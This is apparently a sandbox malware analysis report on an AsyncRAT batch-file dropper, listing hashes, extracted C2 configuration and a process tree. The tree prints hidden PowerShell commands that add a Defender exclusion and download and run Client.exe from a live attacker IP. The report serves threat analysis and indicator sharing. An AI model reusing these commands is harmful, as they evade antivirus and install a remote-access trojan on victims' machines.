asyncrat | 6308f3eef2d45148c4544a0c31d5bb73f28dac4b6fcb854e003e2caa0c39d26f

General

Target

6308f3eef2d45148c4544a0c31d5bb73f28dac4b6fcb854e003e2caa0c39d26f.bat
Size

7KB
MD5

90c3dfd74d6ab4b7b98777930ab44a23
SHA1

7f536fa9c3972c4416e8620335e39f9e93092103
SHA256

6308f3eef2d45148c4544a0c31d5bb73f28dac4b6fcb854e003e2caa0c39d26f
SHA512

aab364913c7f3972a136d2cf9241e46adf275bf74cdaedd0697746b4d0244a517a832154ead9849c36d2cc710c80e2754cff1d2b5c845041f0b5e0d6fd115a92
SSDEEP

12:b4tdk5jtnrC0yyGyDF98oul666666666666HW4xmBWp/CR898U7LtaJO20c1H:b4/otrlyRKubxwWRCRKpJD8H

Score

10^/10

asyncrat default execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://20.199.84.103/Client.exe

Extracted

Family

asyncrat

Version

1.0.7

Botnet

Default

C2

127.0.0.1:1024

20.199.84.103:1024

Mutex

DcRatMutex_qwqdanchun

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral1/files/0x000a0000000120f8-21.dat	family_asyncrat

Blocklisted process makes network request 1 IoCs

flow	pid	Process
4	1976	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1976	powershell.exe
2072	powershell.exe
2072	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
2888	Client.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2072	powershell.exe
1976	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2072	powershell.exe
Token: SeDebugPrivilege	1976	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2968 wrote to memory of 2140	2968	cmd.exe	31
PID 2968 wrote to memory of 2140	2968	cmd.exe	31
PID 2968 wrote to memory of 2140	2968	cmd.exe	31
PID 2968 wrote to memory of 2072	2968	cmd.exe	32
PID 2968 wrote to memory of 2072	2968	cmd.exe	32
PID 2968 wrote to memory of 2072	2968	cmd.exe	32
PID 2968 wrote to memory of 1976	2968	cmd.exe	33
PID 2968 wrote to memory of 1976	2968	cmd.exe	33
PID 2968 wrote to memory of 1976	2968	cmd.exe	33
PID 2968 wrote to memory of 2888	2968	cmd.exe	34
PID 2968 wrote to memory of 2888	2968	cmd.exe	34
PID 2968 wrote to memory of 2888	2968	cmd.exe	34

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\6308f3eef2d45148c4544a0c31d5bb73f28dac4b6fcb854e003e2caa0c39d26f.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2968
- C:\Windows\system32\fsutil.exe
  fsutil dirty query C:
  2⤵
  PID:2140
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -w hidden -c Add-MpPreference -ExclusionPath "C:\Windows\Temp\"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2072
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -w hidden -c "(New-Object System.Net.WebClient).DownloadFile('http://20.199.84.103/Client.exe', 'C:\Windows\Temp\Client.exe')"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1976
- C:\Windows\Temp\Client.exe
  "C:\Windows\Temp\Client.exe"
  2⤵
  - Executes dropped EXE
  PID:2888

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\U31LXEYFU8AVYYIW95HT.temp

Filesize
7KB

MD5
32861813b8d40353781312c061945c0a

SHA1
94ec60cb2dd1ef945b3a58064df5dc5f728f93bd

SHA256
5970106481ca6e22576fbb748409602134f98c1a2577a86e7908ac56f76587a1

SHA512
86757a9261c3f9ad0698543aa4fcf5d08da39570fc54a3188e0333d715b2393d46a1ae937b80967be5e356437b183b0e0be75ac026958c6d2a041ddd27a631b7

Download Submit
C:\Windows\Temp\Client.exe

Filesize
47KB

MD5
fedb1274930bfa08a83480134a3f1412

SHA1
d47be6340ecd780274b98dad463749eb2d9d49fd

SHA256
a8fcd268b48c903e21500439d6754500d59d12d7d5d4e2c7ea737661fa8fe230

SHA512
ba1d2a9745b837c1f984577a5d96bff1b2c126d86fd75c7e763b085ea8440360899d383be10a7a6f31bbd87c215c3dfed82c03c15880e8f4ef336c411cb448b4

Download Submit
memory/1976-17-0x000000001B520000-0x000000001B802000-memory.dmp

Filesize
2.9MB

Download
memory/1976-18-0x0000000001D90000-0x0000000001D98000-memory.dmp

Filesize
32KB

Download
memory/2072-7-0x000007FEF5990000-0x000007FEF632D000-memory.dmp

Filesize
9.6MB

Download
memory/2072-9-0x000007FEF5990000-0x000007FEF632D000-memory.dmp

Filesize
9.6MB

Download
memory/2072-10-0x000007FEF5990000-0x000007FEF632D000-memory.dmp

Filesize
9.6MB

Download
memory/2072-11-0x000007FEF5990000-0x000007FEF632D000-memory.dmp

Filesize
9.6MB

Download
memory/2072-8-0x000007FEF5990000-0x000007FEF632D000-memory.dmp

Filesize
9.6MB

Download
memory/2072-4-0x000007FEF5C4E000-0x000007FEF5C4F000-memory.dmp

Filesize
4KB

Download
memory/2072-6-0x00000000029E0000-0x00000000029E8000-memory.dmp

Filesize
32KB

Download
memory/2072-5-0x000000001B6A0000-0x000000001B982000-memory.dmp

Filesize
2.9MB

Download
memory/2888-23-0x0000000001240000-0x0000000001252000-memory.dmp

Filesize
72KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads